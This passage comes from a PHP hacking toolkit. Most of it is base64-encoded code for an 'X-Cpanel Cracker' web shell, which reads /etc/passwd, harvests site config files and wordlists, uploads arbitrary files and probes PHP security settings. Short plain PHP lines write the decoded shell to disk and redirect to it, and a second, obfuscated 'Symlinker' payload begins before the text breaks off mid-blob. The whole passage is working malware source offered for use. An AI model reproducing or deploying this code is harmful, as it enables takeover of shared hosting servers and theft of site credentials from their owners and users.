VkPSJjaGVja2VkIiBjbGFzcz0ic3R5bGUzIj48L3N0cm9uZz4KICAgIDxmb250IGNsYXNzPSJzdHlsZTIiPjxzdHJvbmc+L2V0Yy9wYXNzd2QgOiA8L3N0cm9uZz4gPC9mb250PgoJPHN0cm9uZz4KCTxpbnB1dCB0eXBlPSJyYWRpbyIgbmFtZT0idHlwZSIgdmFsdWU9InBhc3N3ZCIgY2xhc3M9InN0eWxlMyI+PC9zdHJvbmc+PHNwYW4gY2xhc3M9InN0eWxlMyI+PHN0cm9uZz4KCTwvc3Ryb25nPgoJPC9zcGFuPgogICAgPC90ZD4KICAgIDwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiICBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCBjbGFzcyA9J2lucHV0emJ1dCcgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU3RhcnQiPgogICAgPC9zdHJvbmc+CiAgICA8L3RkPgogICAgPHRyPgo8L2Zvcm0+IAo8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxjZW50ZXI+PHN0cm9uZz5bIEdldCBDb25maWcgXTwvc3Ryb25nPjwvY2VudGVyPjwvdGQ+CiAgICAJCQkJPC90cj4KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+Cgk8c3Ryb25nPgo8aW5wdXQgbmFtZT0ibWVuZGFwYXRrYW4iIHR5cGU9ImhpZGRlbiIgdmFsdWU9InBhc3N3ZCI+ICAgICAgICAJCQkJCiAgICA8L3N0cm9uZz4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5Gb2xkZXIgTmFtZSA6PC9zdHJvbmc+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHonIHNpemU9IjUwIiBuYW1lPSJmb2xkZXJuYW1lIiB0eXBlPSJ0ZXh0Ij48L3N0cm9uZz48L3RkPgoJPC9zdHJvbmc+CiAgICA8L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHpidXQnIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdPIj4KICAgIDwvc3Ryb25nPgogICAgPC90ZD4KICAgIDx0cj4KPC9mb3JtPiAgIAo8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxjZW50ZXI+PHN0cm9uZz5bIEdldCBXb3JkbGlzdCBdPC9zdHJvbmc+PC9jZW50ZXI+PC90ZD4KICAgIAkJCQk8L3RyPgo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4KCTxzdHJvbmc+CjxpbnB1dCBuYW1lPSJwYXNzIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJwYXNzd29yZCI+ICAgICAgICAJCQkJCiAgICA8L3N0cm9uZz4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PHN0cm9uZz5VcmwgQ29uZmlnIDo8L3N0cm9uZz48L3RkPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1Ij48c3Ryb25nPjxpbnB1dCBjbGFzcyA9J2lucHV0eicgc2l6ZT0iNTAiIG5hbWU9InVybCIgdHlwZT0idGV4dCIgdmFsdWU9Imh0dHA6Ly93d3cuIj48L3N0cm9uZz48L3RkPgoJPC9zdHJvbmc+CiAgICA8L3RkPgogICAgPC90cj4KICAgIDx0cj4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgc3R5bGU9IndpZHRoOiAxMzlweCI+PC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgY2xhc3MgPSdpbnB1dHpidXQnIHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdPIj4KICAgIDwvc3Ryb25nPgogICAgPC90ZD4KICAgIDx0cj4KPC9mb3JtPgo8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNsYXNzPSJzdHlsZTEiIGNvbHNwYW49IjYiPjxjZW50ZXI+PHN0cm9uZz5bIEluZm8gCglTZWN1cml0eSBdPC9zdHJvbmc+PC9jZW50ZXI+PC90ZD4KICAgIAkJCQk8L3RyPgogICAgPHRyPgogICAgPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48c3Ryb25nPlNhZmUgTW9kZTwvc3Ryb25nPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPgoJPHN0cm9uZz4KPD9waHAKJHNhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZigkc2FmZV9tb2RlPT0nMScpCnsKZWNobyAnT04nOwp9ZWxzZXsKZWNobyAnT0ZGJzsKfQoKPz4JCgk8L3N0cm9uZz4JCgk8L3RkPgogICAgCQkJCTwvdHI+CiAgICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjxzdHJvbmc+RGVzaWJsZSBGdW5jdGlvbjwvc3Ryb25nPjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIGNvbHNwYW49IjUiPgoJPHN0cm9uZz4KPGZvcm0gbWV0aG9kPSJQT1NUIiB0YXJnZXQ9Il9ibGFuayI+Cgk8c3Ryb25nPgo8aW5wdXQgbmFtZT0ibWF0aWthbiIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0ic2VrYXRhbiI+ICAgICAgICAJCQkJCiAgICA8L3N0cm9uZz4KCjw/cGhwCmlmKCcnPT0oJGZ1bmM9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpKQp7CmVjaG8gIjxmb250IGNvbG9yPSMwMGZmMDA+Tm8gU2VjdXJpdHkgZm9yIEZ1bmN0aW9uPC9mb250PjwvYj4iOwp9ZWxzZXsKZWNobyAnPHNjcmlwdD5hbGVydCgiUGxlYXNlIHNlZSBiZWxvdyBhbmQgcHJlc3MgPlBsZWFzZSBDbGljayBIZXJlIEZpcnN0ITwiKTs8L3NjcmlwdD4nOwplY2hvICI8Zm9udCBjb2xvcj1yZWQ+JGZ1bmM8L2ZvbnQ+PC9iPiI7CmVjaG8gJzx0cj48dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiMxNTE1MTUiIHN0eWxlPSJ3aWR0aDogMTM5cHgiPjwvdGQ+JzsKZWNobyAnPHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBjb2xzcGFuPSI1Ij48c3Ryb25nPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJQbGVhc2UgQ2xpY2sgSGVyZSBGaXJzdCEiPgogICAgPC9zdHJvbmc+CiAgICA8L3RkPjwvdHI+JzsKfQo/Pjwvc3Ryb25nPjwvdGQ+PC90cj48L3RhYmxlPjwvdGFibGU+PC90YWJsZT4KPD8KYnJlYWs7CgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjYmRzCgpjYXNlICcnOgoKPz48P3BocCAKCmJyZWFrOwoKCi8vIFVwbG9hZGVyCmNhc2UgJ3VwbG9hZGVyJzoKCmVjaG8gJzxjZW50ZXI+PGI+Ky0tPVsgVXBsb2FkZXIgXT0tLSs8L2I+PGJyPjxicj48YnI+PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsKZWNobyAnPGNlbnRlcj48aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgc2l6ZT0iNTAiPjxpbnB1dCBuYW1lPSJfdXBsIiB0eXBlPSJzdWJtaXQiIGlkPSJfdXBsIiB2YWx1ZT0iVXBsb2FkIj48L2Zvcm0+PC9jZW50ZXI+JzsKaWYoICRfUE9TVFsnX3VwbCddID09ICJVcGxvYWQiICkgewoJaWYoQGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPHAgYWxpZ249ImNlbnRlciI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgCgpzaXplPSIxIj48Zm9udCBjb2xvcj0id2hpdGUiPiBEb25lICEhPC9mb250Pjxicj4nOyB9CgllbHNlIHsgZWNobyAnPGZvbnQgY29sb3I9IiNGRjAwMDAiPkZhaWxlZCA6KCA8L2ZvbnQ+PC9wPgoJPC90ZD48L3RhYmxlPjwvdHI+CgonOyB9Cn0KYnJlYWs7Cgp9fQo/Pjxicj48YnI+PGJyPjxjZW50ZXI+PGZvcm0gYWN0aW9uPScnIG1ldGhvZD0ncG9zdCc+Cjx0YWJsZSBjbGFzcz0ndGFibmV0JyBzdHlsZT0nd2lkdGg6NjUwcHg7JyBib3JkZXI9Jyc+Cjx0aCBjb2xzcGFuPTEwPlNlY3VyaXR5IEluZm88L3RoPjx0cj4KPHRkPlN5c3RlbSA8L3RkPgo8dGQ+PD9waHAKZWNobyBwaHBfdW5hbWUoKTs/PjwvdGQ+CjwvdHI+CiA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiIgc3R5bGU9IndpZHRoOiAxMzlweCI+U2FmZSBNb2RlPC90ZD4KICAgIDx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIiBjb2xzcGFuPSI1Ij4KPD9waHAKJHNhZmVfbW9kZSA9IGluaV9nZXQoJ3NhZmVfbW9kZScpOwppZigkc2FmZV9tb2RlPT0nMScpCnsKZWNobyAnT04nOwp9ZWxzZXsKZWNobyAnT0ZGJzsKfQoKPz4JCgk8L3RkPgogICAgCQkJCTwvdHI+CgkJCQkJICA8dHI+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiIgc3R5bGU9IndpZHRoOiAxMzlweCI+RGVzaWJsZSBGdW5jdGlvbjwvdGQ+CiAgICA8dGQgdmFsaWduPSJ0b3AiIGJnY29sb3I9IiIgY29sc3Bhbj0iNSI+Cgo8Zm9ybSBtZXRob2Q9IlBPU1QiIHRhcmdldD0iX2JsYW5rIj4KCjxpbnB1dCBuYW1lPSJtYXRpa2FuIiB0eXBlPSJoaWRkZW4iIHZhbHVlPSJzZWthdGFuIj4gICAgICAgIAkJCQkKCgo8P3BocAppZignJz09KCRmdW5jPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSkKewplY2hvICI8Zm9udCBjb2xvcj0jMDBmZjAwPk5vIFNlY3VyaXR5IGZvciBGdW5jdGlvbjwvZm9udD48L2I+IjsKfWVsc2V7CmVjaG8gJzxzY3JpcHQ+YWxlcnQoIlBsZWFzZSBzZWUgYmVsb3cgYW5kIHByZXNzID5QbGVhc2UgQ2xpY2sgSGVyZSBGaXJzdCE8Iik7PC9zY3JpcHQ+JzsKZWNobyAiPGZvbnQgY29sb3I9cmVkPiRmdW5jPC9mb250PjwvYj4iOwplY2hvICc8dHI+PHRkIHZhbGlnbj0idG9wIiBiZ2NvbG9yPSIjMTUxNTE1IiBzdHlsZT0id2lkdGg6IDEzOXB4Ij48L3RkPic7CmVjaG8gJzx0ZCB2YWxpZ249InRvcCIgYmdjb2xvcj0iIzE1MTUxNSIgY29sc3Bhbj0iNSI+PHN0cm9uZz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUGxlYXNlIENsaWNrIEhlcmUgRmlyc3QhIj4KICAgIDwvdGQ+PC90cj4nOwp9Cj8+PHRyPgoKPC90YWJsZT48L2Zvcm0+PC9jZW50ZXI+CjxjZW50ZXI+PGJyPjxicj48Yj48ZGl2IGNsYXNzPSJpbmZvIj4tPVsgWC1DcGFuZWwgQ3JhY2tlciBieSA8c3BhbiBjbGFzcz0iZ2F5YSI+PGEgaHJlZj0iaHR0cDovL2ZhY2Vib29rLmNvbS93YWpkYW4uYnV0dCI+V2FqZGFuIEJ1dHQ8L2E+PC9zcGFuPiBdPS08L2Rpdj4gCjxkaXYgY2xhc3M9ImpheWEiPiAgJmNvcHk7IDIwMTQgVmFqMSBWMXJ1czwvZGl2PjwvY2VudGVyPjwvYj48YnI+PGJyPgoKPC9ib2R5PjwvaHRtbD4=';
- $file = fopen("cpc.php","w");
- $write = fwrite ($file ,base64_decode($cpc));
- fclose($file);
- header("location:cpc.php"); }
- if(isset($_POST['Symlinker'])){
- $symlinker = 'PD9waHAKLyoKVGhlIEdpdmVuIENvZGUgV2FzIFN1Y2Nlc3NmdWxseSBPYmZ1c2NhdGVkIEJ5IEJsYWNrIFNjb3JwaW9uIApGcm9tIDogaHR0cDovLzEyNy4wLjAuMS9teWVuYy5waHAKCiovCgokZXJyb3IgPSAiZXJyb3JfcmVwb3J0aW5nIjsgJGVycm9yKDApOyAkc3lzdGVtMSA9ICJKSE41YzNSbGJTQTlJQ0pLUjBweldWZE9jbUZYVldkUVUwRnBWMnhvWVdGSFNrUldXR3hRVVRGV05WUnViRlpsYkVwd1ZsaHNUMkpYVVhkVGJGSlBVVEJ3VlZOVVRrMWlWMUV5V2taak1XRnRTWGxOV0dScVlsWmFObGt6YkZabFZUbElXa1JhYTFaNlZuRlpha2w0WkRKT2RGWnVjR3BsVmxZMVZEQmthMDV0VWxoT1YzQnBUV3BHTTFreU1WZGxiVTQxVmxoc1VGSXlVVEphUm1NeFlXMUplVTFZWkdwaVZsbzJXVE5zVm1WVk9VaGFSRnByVm5wV2NWbHFTWGhrTWs1MFZtNXdhbVZXVmpWVU1HUnJUbTFTV0U1WGNHbE5ha1l6V1RJeFYyVnRUalZXV0d4UVVqSlJNbHBHWXpGaGJVbDVUVmhrYW1KV1dqWlpNMnhXWlZVNVNGcEVXbXRXZWxaeFdXcEplR1F5VG5SV2JuQnFaVlpXTlZRd1pHdE9iVkpZVGxkd2FVMXFSak5aTWpGWFpXMU9OVlpZYkZCU01sRXlXa1pqTVdGdFNYbE5XR1JxWWxaYU5sa3piRlpsVlRsSVdrUmFhMVo2Vm5GWmFrbDRaREpPZEZadWNHcGxWbFkxVkRCa2EwNXRVbGhPVjNCcFRXcEdNMWt5TVZkbGJVNDFWbGhzVUZJeVVUSmFSbU14WVcxSmVVMVlaR3BpVmxvMldUTnNWbVZWT1VoYVJGcHJWbnBXY1ZscVNYaGtNazUwVm01d2FtVldWalZVTUdSclRtMVNXRTVYY0dsTmFrWXpXVEl4VjJWdFRqVldXR3hRVWpKUk1scEdZekZoYlVsNVRWaGthbUpXV2paWk0yeFdaVlU1U0ZwRVdtdFdlbFp4V1dwSmVHUXlUblJXYm5CcVpWWldOVlF3Wkd0T2JWSllUbGR3YVUxcVJqTlpNakZYWlcxT05WWlliRkJTTWxFeVdrWmpNV0Z0U1hsTldHUnFZbFphTmxremJGWmxWVGxJV2tSYWExWjZWbkZaYWtsNFpESk9kRlp1Y0dwbFZsWTFWREJrYTA1dFVsaE9WM0JwVFdwR00xa3lNVmRsYlU0MVZsaHNVRkl5VVRKYVJtTXhZVzFKZVUxWVpHcGlWbG8yV1ROc1ZtVlZPVWhhUkZwclZucFdjVmxxU1hoa01rNTBWbTV3YW1WV1ZqVlVNR1JyVG0xR1dFNVhNV2xTTUZsM1YyeE9WbVZWT1VoYVJGcG9WbnBXZEZsclpFZE5SbkJVVmxoc1VGSXlVVEpaVm1NeFlsZEtTRkpxUW1GVk1WWTFWREJrYTA1dFJsaE9WekZwVWpCWmQxZHNUbFpsVlRsSVdrUmFhRlo2Vm5SWmEyUkhUVVp3VkZaWWJGQlNNbEV5V1Zaak1XSlhTa2hTYWtKaFZURldOVlF3Wkd0T2JVWllUbGN4YVZJd1dYZFhiRTVXWlZVNVNGcEVXbWhXZWxaMFdXdGtSMDFHY0ZSV1dHeFFVakJ3YjFsNlNsWk5helZIVDFkMFlWWXdOVEpYYTJSV1lrVXhjV0ZJY0d0VFJYQTFWMnhvV21KRk1YRmhTSEJyVTBWd05WZHNhRnBpUlRGeFlVaHdhMU5GY0RWWGJHaGFZa1V4Y1dGSWNHdFRSWEExVjJ4b1dtSkZNWEZoU0hCclUwVndOVmRzYUZwaVJURnhZVWh3YTFORmNEVlhiR2hhWWtVeGNXRkljR3RUUlhBMVYyeG9XbUpGTVhGYU1uaE9ZV3hLUkZsclpFZGhiVVY0VDFaU1drMXFiRFZaTUdSelpHMUtjRlpZYkZCVk1WWTFWREZPVm1WVk9WUldXR3hRVlRGV05WUXhUbFpsVlRsVVZsaHNVRlV4VmpWVU1VNVdaVlU1VkZaWWJGQlZNVlkxVkRGT1ZtVlZPVlJXV0d4UVZURldOVlF4VGxabFZUbFVWbGhzVUZVeFZqVlVNVTVXWlZVNVZGWlliRkJWTVZZMVZERk9WbVZWT1ZSV1dHeFFWVEZXTlZReFRsWmxWVGxVVmxoc1VGVXhWalZVTVU1V1pWVTVWRlpZYkZCVk1WWTFWREZPVm1WVk9WUldXR3hRVlRGV05WUXhUbFpsVlRsVVZsaHNVRlV4VmpWVU1VNVdaVlU1VkZaWWJGQlZNVlkxVkRGT1ZtVlZPVlJXV0d4UVZURldObFZYYkZaa01VcEVWbGhrVWxWVVFreERhVWszSWpzSyI7ICRCbGFja19TY29ycGlvbj0gIj1FeDcvQWNacDdVL3NRT3B5NXB3THpOQS9iOS9SdHZCWEowb0laeGduRGkrNnVJVVZhWlNhVmE5blJlaG5HTEY1Y28rQm5CdG1WWlNoUG5MampLOFFOcWk3VXpRVklqWUNrNEtsMW4wT2ZJM20zTmNjRmRHZDF1V3dpMDF2ZU9zZkRZUDkrKy9oNXhUUFNmcDEzOTZNajk0ckR1WnM5NStwaTlhSmY0NndEYXQ2dWgzYkFaRDV5RXJXdjFsTnRQdUo1dFFYVEt0OTliUlh5RkxOV3RFNUFwMHV3TUl3MmVRUmtjbmg3S1IvSmc0Mnc3UXU5d0pWSkluUDR1REJmYjVVdG5DVCtBQXpEQVpubnJ3RXQxei9RZWtlL05kSFAxcmh0N1c1OHltaDFWWWY5TUd2R3dnNWtYQVk1WERwbmI3bXFZVHdxUTgrVTJ5STQwaWhWRyszQ1pPMyttQlgvMjRyNXdYaURHRUxLR2RoRGpXM1lweDJNMXVVa1pBZGwzYzUvVWFQKytzQnZoZlNrOVBLQVk4UUNzN05IdzdFOTZlSitRMjNZSThpTnhnRDVDUnd0RDEwODBNbExBL2JaMWpSZTJDUmpabEprY3RRZmhoM1BUMXRKRVlWa3h4aFhFSkNaMXFTdVpLRllhRlVndGlqbkZPMmczdWV0R0VnV1VPcjJuN1ZtZ0pMdUpBUW41S2M2Vnkzak1jUWdyYzVRb3hZQkZ3Tkp1RUhQNjkxeFloV1lLVUFscHdwb1piNURzMStTdS8vZ0RCWDI5YTdtU0VmOW85YW1DUFBhVEVDanZvZVdYN29Ld2VJVnh1S3d5WUVLcWQxcGpkRng4N05pVHUwYUx5cUcvSTFWOVIvcmdQMlNHL1MybEIvYUVOdUNSL0FyTWFXRDlFV3JsL2VZdXJSOW56QzEvNzZQREp0MkFGM1dhYmZNU1JBSG1aVElvbUV5REVDby9RaTNjWDljQXJNRkNVQld0ajF5MWlJUU1rQk9xbmlNOUdEYWRpVGk1dUpiUGFKOGhwUXFQYlhKNitKY2FpNW5hYldWcE5UMGNYSnQ3T29FOWxaUTUwNkkvVGdwTUhhU282d0RKWWxMSUxCb2FYMXpKd0RTV3NkRFBMRnhTc3NHc3dnUmhLd3VCL0N6UStSMndQQ0RCSVlxbVBEQ3BZOFVuTVNuQ1BQb3Q0emh5VEdPWHlUY3JWMTEyNDNIWHA3WVdaUFZONmVzVlNkVWFNTk9jSVJjb3RPeWpDb0ZlUm00NWluRlNkUUw5TFdLUVI3SzhQR3RvM3lMYndvSzZNN0N0a0NVMmVtU1FJR1E0Q09Wdi84Y3JOV3V3WmNZUFdvTDFUMEdQTkptUWxkRDAyZW9qQTIrbEd4ejc3OVR3NG5jWDVaaXZ0NTVpWHUrbW9Ld0RmdVNsWHhRSVMwU0ljZitGUXdtWVo3M3lMbDMycFRUbmRTdTArQ2pOcUVTOUdralBya0o0citpcjZtQWViWHNKbXlpR0pIMGJFZDhwTjhBOWM1aU9wZG5NUldvejAwVUhzS2xJNXdXSDVCTlZQQnZEMXFXaWYyaU1pbHJMT1ppZVhPeStQWXJMS0VycE9kbmloT2RkcHkyS0JzVldnR2RmOGJpc2svRk5Zd0tpcnViK08yNmxNUXRnMTM3RFRPazZvRExwU0h3WElFV0VweEtlMjhuYTBZK3hWMDNSTXdwcWNNUDBsZkVXaTZOUnljYk1LY2xJVUh6UkpwOEJuY041UHArYmhLc0N5N0s1R0w2emNHbHdQMFliYlpNUkJHeTdVbXhZYnV2R2hQcU1GUjRSMXpHbE5UVGZkWTZXazYzaTNnMWRyaythaURDK2tqYXR0NWpESmdBbDJyZWIyWkdUVWF5N1dkdlY5VkhFVXd3UWZ3Vy9PR0x2bkpFYjg0Q2oxNkN4V1l0UHZHVEFyN0luT0hSd3FqQWJJc1o2N1RjbExpb1FrL3o1YjNTK1hUS2VacDdha3ZncjJtN1dIR2VobHIvdUFaT20zMzlOY0RyUFJhYk9iN3YrRXR1b0NKd3dXbkNEK3VzcjV4bFNyb0dVUFo5S3l4Z1NyZVFBbTROTjZXcUdtL1hibmp4RXBMbVVDc0tOUm04RVBBZUp3OTRjczNFOWFJanFqc3dacHNmaWR2K0VtcDVkK21qRi9FTDZUYVkrVVcrOWtTYnJYaDJXRWZ6NXVOZ0RCM1owVUlqQjN2Ym1TUitUS0hlTHBOazNhVWFia0tncjh5L21xd1FEbnFiK2VBaFdhRCtJMW1iMm5MS3ZTRDE0YnRVQldjNU8raXA3ODk0WXZtaEJFNUxQelBCVUdKNnBuWFRXZWFJcHpsenljclVnNHNibmRSUlpWeWpLS3NDOUtiZW9la0ZubnhUVEhUWFdteS84Rlg3eTNacTRQdEgxZmF1K0NuZDNIdVBxRVFwOXBCTDgxb1NnY1M2Y3BHWVVIYmNxRklOa0tBTjRVVnpNZi82d0k2Tm5XVWZ0bWdRaGNEd0xNMzNLdkNmVGRUTHpkNmR6bzF6N1pYbUY1aDNUb2hqS2NyZGVZeDZLZ3NlclFJRG5FTkN4UCtJc2NlZnhKM1BYcnQ0Y0oxKzdlSmZWTlgyaXJ5M2xXS1lLN09hR1lIUTI4RTZGK2w3M1FtUzF2VTUwYzJWT3FnL295Y3RlWlRTTnVMSFgxc2poSEdXb3UwNEM5SXFIZ3gxbTFGbzZxRW0yeW9uQmpFUFFTN3h1VUZXS1dCbVVYNkViZ2RjYldSSk1tNFI2R2pBUG9HdzBYTjJkVGNBR1p2VjMzak9jKzlmMlMzWnZ4SmtSTXkyVyt4am8xYWY1OWhxRkJyQ1d5NVQyTmRwTUdXMEZyV0VybEZCZWRuREFkZmwzWlpxOHpUZ1JiTTRjcmYzemovZ2tESzFKdFNnaGZ4emVBVFdGbXE5U2pVYThuYnZuM2NQU3lHSUkwcFhNcElRYzd6Rk1ZeVBPRitkMmdDdTFoQXQ5bUQrTTdwR1FlSlJqMkZIcnh2SXlKK1NueE0wRTFKOTl1NnRqSk16T3IrVzdFcVNNY3BqYy9vWDAvYk1NeDRicDdrMlo0WFpkaXdScmloRkl6MVdmZjEwdmpZSm1QTHllTnFwN05LWFgyN2d6eG9UellqYmpoNUhvTEZiczBwbS9yOWJiN1A0QUhQTmZGaTNjenFBbXdMdU5DSDlkMXA5MGdxaVhraU9vMVQ0MTFYOVJxVVdBL0RGYlY1R2llKzlJb0o3VElXVDNKWVhLU3M3alFMbldtU2NxaGhVN1pSUzN6RThiQ1U3c3BKWWNRMXRub24wck44eWZtOVJLbFNKb0I3QWZmK3RkbUprV3FTTVB0U3dCaDA2VVBGT1M2UTR0RVNaRVhyc2Frd1NJMzZaY3huclpJbUsySG5DYTk1WXdreHRNb2lIamlucGlYMGV5RGtmcGNLUlN1TnNRM3g2SW5VWk5zc2dHNjFYZ3NXcC9Ic2YrMm5SeHkxSzJ1eVBXdUh0TWdPYVYwVThUV2xWTk5iL1AzYkhjMVlFaXR6N3duWTdOY0ZtUGNQMlYxR0dyOVM4VG9CSkxjOWpxYUJPTjNXN3lkNzdDSTFBWUI1QTdyQWw4MCtxM2hjTWo3a0ZUM2xMZzEydFJyd2RWeVJ0OGVJQWNxSGdaTUdlTzRCRnp5Mm5mUTM5OG9hRzFRaFBVbGdFYnZPVUM1Q1YzeUJyR3F3bmpoS1VtU0h0UTR5Y0tZbndOK0tUT3RKU3ZFN1FvVjljYUVidm9hcThKdG0vTnZuM0ZseUJXYklZQlZOcXNkV1FSSkJLQldMQlRvYmhGUGJEak5EZlZSTkFDSkdmamQ5dkt0SlAxam9OYVBmYW95bFNaWXhXRWtmZGxaeWprTzUvOUl5aEsxRm9MNVR6azljckZWVzk2Q0cyYkl0WVlRYnZoc3hKZ1hDSnNoZDAvc1NFYTc3YlNxU0U2dTdKbUFERC93NDFiY2dWQ3RIa2E1YTBMdGhHTTZvdnVNTW56VlF6TThPcjd4Rlk2WkZVbHZHMG9idTNpeDI5aDAxUGljeXZadTh0dmMyOWZjVXFkemRqZStjTXg5ek5xcEhsMVhZc256b0UrU2gzZDEyU205U3F3YkZwRkZKdURnOTVoOU5kU2l2bEV1MXVNbkFEZDJwanh0SEpOUzJWUnpPbUluU0Z0c21GbFlWRldtL3B4V1grWVhkWGRzUGVyVEIvaFowZXUreGVTRHZFWlJhcjdzay94bjcvWDBYTHBCOTNoL1oyTkN4VnBZY0RJUHVwNFE4M1ZMWDhzbFZWL0xhOXNza2tMTGRES2NudjRWN1ZacUJuV21WNXowd291WjlWbElVbWtCZUEvY0lmb1JUNlJZandNR0tBcDR5Mi9pMHdMODhsazlWdzFLZGx0eVhZdG9ManhFb2h3enRneEluUmRrbzBtcHc0NkthOUd1blRzdW5wWVdHMEtMQVI3TnFTWlNPQmM3eXU1Vk5CMHpVNzBrWkFvMVFNZlNoUHZhektleDhiNmJQNEFmZWd2Q0x1UWlpUFR1Mi9tRlY4a2ZxdHRqNnhBSE5aRXlvdnVNVWc0T2lqY0xpYWhrQ0dvaWlyQ1pqSlA4SmZVZHJrSXR2SXRQdWJ2Wis4d1BjR21NT2RDQXRYVUJlLzQ4a0pDZlViVFh5N0Z1bGRnU1RhRUhKanhDN3U0R3IrT3NydGVMWUU5SVV4cHdGWHRNZGd3NkFMZUNpVmVWNFNtZmJCVmdoNVlLMHAvd2dGTzl1ZzBpSEhGN1FPWnBtQU9tSnloUVVDeXpuSHI5dHNydm4vMzZIWnVuYzZQcENxQ0crdVpMUjV1bFR6UCtHVmFETnJjMTdXVUNLc1ZyL1pkUWNmZEpEODE2eThFempuS3piNG9VWHI3TENQMFl0WEJjK2cvVkprOVk3ZkcrMjdiQ0RjVStLOS9uaXRRUDVUdHZ1NVZqc0RuYlVnQmZFWS9RK1ArZG9vVTN0eDBBQ28xMHpEYXpXeHBlSGszeVJ4VlZmNGlyWXVPS3pqZ2lwTUlhVEhqVlZkcDNYMEMxTElIaGRIcS9uTXZKM2xJY1lYN2hibzRZTnUwa2thTzlEQlFiNXFwMmRzM0VNUjE5SmJHenJ0amVvdWlGbU5sQ2ttMVFkVUxnZHhUazFZUDVUaVVrZW8vbVFBaGcvbkpyNzJoWnM3dmdjWVg5WXVqZHV6dGtLWERlK2xmOUVxWjBiY1paS0RCbXNENXdhRUU0SDJibGZtRWVHNjNjS1JSMW80Q1YxbzVGd3dBWG1EVzlUQVorTXJEdk01cVh2NHdkcE8rdDhhL1lWSXVHVzlrVVczVEtPMmtzWDcwb1NzYm5iQ1MyVElUZ3lHa0FiOCt0bHlnUmdGNytBQTJWd1p4UFBkSUZ6RHBUVy8zK3pTMXo4WTZzNkhCOHJ6UTlrTmM4TnZZMUFvOFdvVXBTcksyb3VXSUlXOFR0UGFFa0YyRzMvRHF4RVVhY1owZHM0SkpYbXAzbFQwNktsOXpKQ1hKQXB4Z2NhWndMeDc0aFJVaGNoYnJZYWt2emhFdTZxenhucFZWOVE2VG1hc3IrUVlOdHNidm9WS0xTS2ZqeE44UEkvM1VLejBnOU5tL0RWVTVwOFQ3TTFONTluZ0dhRlM3ZFMwczdlNkFjaXp2citicFpRWGVidU1WWVpQRGpFeTlDSWdVbVFDc3M1SWZHd